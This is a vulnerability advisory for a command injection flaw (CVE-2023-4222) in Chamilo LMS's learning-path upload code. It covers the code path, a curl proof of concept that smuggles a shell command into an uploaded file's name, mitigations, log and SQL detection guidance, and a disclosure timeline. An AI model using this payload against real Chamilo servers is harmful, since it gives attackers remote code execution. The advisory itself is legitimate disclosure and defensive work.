Summary

Product Chamilo
Vendor Chamilo
Severity High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution.
Affected Versions <= v1.11.24
Tested Versions v1.11.24 (latest version as of writing)
CVE Identifier CVE-2023-4222
CVE Description Command injection in main/lp/openoffice_text_document.class.php in Chamilo LMS <= v1.11.24 allows users permitted to upload Learning Paths to obtain remote code execution via improper neutralisation of special characters.
CWE Classification(s) CWE-78: Improper Neutralization of Special Elements used in an OS Command
CAPEC Classification(s) CAPEC-88 OS Command Injection

CVSS3.1 Scoring System

Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:N/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) High
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview

Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.

Vulnerability Summary

There are two command injection vulnerabilities manifesting in main/lp/openoffice_presentation.class.php (CVE-2023-4221) and main/lp/openoffice_text_document.class.php (CVE-2023-4222), which appears to be variants of CVE-2023-34960 (unauthenticated command injection in main/webservices/additional_webservices.php). Consequently, attackers with permissions to upload learning paths may exploit the vulnerability to gain remote code execution.

Note: This advisory details the second command injection vulnerability in main/lp/openoffice_text_document.class.php (CVE-2023-4222). The advisory for the first command injection vulnerability in main/lp/openoffice_presentation.class.php (CVE-2023-4221) can be found here.

Vulnerability Details

The relevant code from main/lp/lp_upload.php is shown below:

...
 elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && count($_FILES) > 0 && !empty($_FILES['user_file']['name'])) {
    // A file upload has been detected, now deal with the file...
    // Directory creation.
    $stopping_error = false;
    $s = $_FILES['user_file']['name'];

    // Get name of the zip file without the extension.
    $info = pathinfo($s);
    $filename = $info['basename'];
    $extension = $info['extension'];
    $file_base_name = str_replace('.'.$extension, '', $filename);

    $new_dir = api_replace_dangerous_char(trim($file_base_name));
    $type = learnpath::getPackageType($_FILES['user_file']['tmp_name'], $_FILES['user_file']['name']); // [1]
    ...
    switch ($type) {
        ...
        case 'oogie':
            require_once 'openoffice_presentation.class.php';
            $take_slide_name = empty($_POST['take_slide_name']) ? false : true;
            $o_ppt = new OpenofficePresentation($take_slide_name);
            $first_item_id = $o_ppt->convert_document($_FILES['user_file'], 'make_lp', $_POST['slide_size']); // [2]
            Display::addFlash(Display::return_message(get_lang('UplUploadSucceeded')));
            break;
        case 'woogie':
            require_once 'openoffice_text.class.php';
            $split_steps = (empty($_POST['split_steps']) || $_POST['split_steps'] == 'per_page') ? 'per_page' : 'per_chapter';
            $o_doc = new OpenofficeText($split_steps);
            $first_item_id = $o_doc->convert_document($_FILES['user_file']); // [3]
            Display::addFlash(Display::return_message(get_lang('UplUploadSucceeded')));
            break;
        ...
    }
}
...

At [1], learnpath::getPackageType() is invoked to determine if oogie or woogie should be used for processing the uploaded file:

class learnpath
{
    ...
    public static function getPackageType($file_path, $file_name)
    {
        // Get name of the zip file without the extension.
        $file_info = pathinfo($file_name);
        $extension = $file_info['extension']; // Extension only.
        if (!empty($_POST['ppt2lp']) && !in_array(strtolower($extension), [
                'dll',
                'exe',
            ])) {
            return 'oogie';
        }
        if (!empty($_POST['woogie']) && !in_array(strtolower($extension), [
                'dll',
                'exe',
            ])) {
            return 'woogie';
        }
        ...
    }
    ...
}

Observe that so long as the uploaded file extension does not match dll or exe, supplying a non-empty ppt2lp or woogie POST parameter allows reaching of the respective code paths.

Subsequently, the code will flow to either [2] and [3] where command injection occurs. Note that [3] leads to the second command injection vulnerability (presented in this advisory), and [2] leads to a first command injection (CVE-2023-4221).

OpenofficeTextDocument Command Injection

At [3], OpenofficeTextDocument::convert_document() is invoked. Since OpenofficeTextDocument extends from OpenofficeDocument, OpenofficeDocument::convert_document() is invoked in absence of an overriden function within the OpenofficeTextDocument class too. At [5], add_command_parameters() of the subclass is invoked. The implementation of OpenofficeTextDocument::add_command_parameters() is shown below:

    public function add_command_parameters()
    {
        return ' -d woogie "'.$this->base_work_dir.'/'.$this->file_path.'"  "'.$this->base_work_dir.$this->created_dir.'/'.$this->file_name.'.html"';
    }

Notice that $this->file_name is used to construct the command to be executed here. Backtracking to the implementation of OpenofficeDocument::convert_document(), it can be seen that $this->filename is set using the uploaded file’s name:

    public function convert_document($file, $action_after_conversion = 'make_lp', $size = null)
    {
        $_course = api_get_course_info();
        $this->file_name = pathinfo($file['name'], PATHINFO_FILENAME);
        ...
    }

Observe that no sanitisation is performed on the $file['name']. Since $_FILES['user_file'] is passed as the $file argument, it is possible to upload a file containing the command injection payload in its filename.

Exploit Conditions

The following exploit conditions are identified for successful execution of this exploit scenario reliably:

  1. Attacker must have permissions to upload learning paths (e.g. has the Trainer user role).
  2. Chamilo RAPID (Rapid Learning tool) is enabled.
  3. service_ppt2lp API configuration option must be set to localhost.

Proof-of-Concept

  1. Ensure that Chamilo RAPID (http://<chamilo>/main/admin/configure_extensions.php?display=ppt2lp) is enabled and that the host is set to localhost.
  2. As the attacker, log in to an account with Trainer user role.
  3. Note down the value of the ch_sid session cookie.
  4. Create a course named test and navigate to http://<chamilo>/courses/TEST/.
  5. Run the following shell commands on the attacker’s machine to execute arbitrary commands on the victim target:
    $ curl -b 'ch_sid=<ch_sid_value>' -F "user_file=@$(mktemp);filename='$(id > /tmp/rce)'" -F 'woogie=y' 'http://<chamilo>/main/lp/lp_upload.php'
    
  6. Observe that the file /tmp/rce is created on the target server with the id shell command output as the file contents.

Suggested Mitigations

It is recommended to use escapeshellarg() to properly escape user-input used to construct shell commands.

End users are encouraged to update to the latest version of Chamilo.

Detection Guidance

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all requests made to:

  1. /main/lp/lp_upload.php
  2. /main/lp/lp_controller.php
  3. /main/upload/upload_ppt.php
  4. /main/upload/upload_upload.php
  5. /main/upload/upload.scorm.php

Successful exploitation of this vulnerability requiresa non-empty woogie POST parameter and the command injection payload to be placed within the filename of the user_file uploaded.

This vulnerability can be detected more accurately by performing investigation of database logs, as the filename is stored in the database. For example, the following SQL query may be used to flag suspicious learning path uploads as potential exploit attempts:

SELECT * FROM c_document
WHERE path LIKE '/learning_path/%'
AND NOT regexp_replace(title, '[a-z0-9 ._-]+', '') = '' 

Credits

Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline

  • 2023-09-04 Vendor Disclosure
  • 2023-09-06 Initial Vendor Contact
  • 2023-09-12 Sent additional information to vendor regarding incomplete fixes found
  • 2023-09-27 Vendor Patch Release (v1.11.26) completely fixing vulnerability
  • 2023-09-29 Vendor published the vulnerability sumamry
  • 2023-09-29 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
  • 2023-11-28 Public Release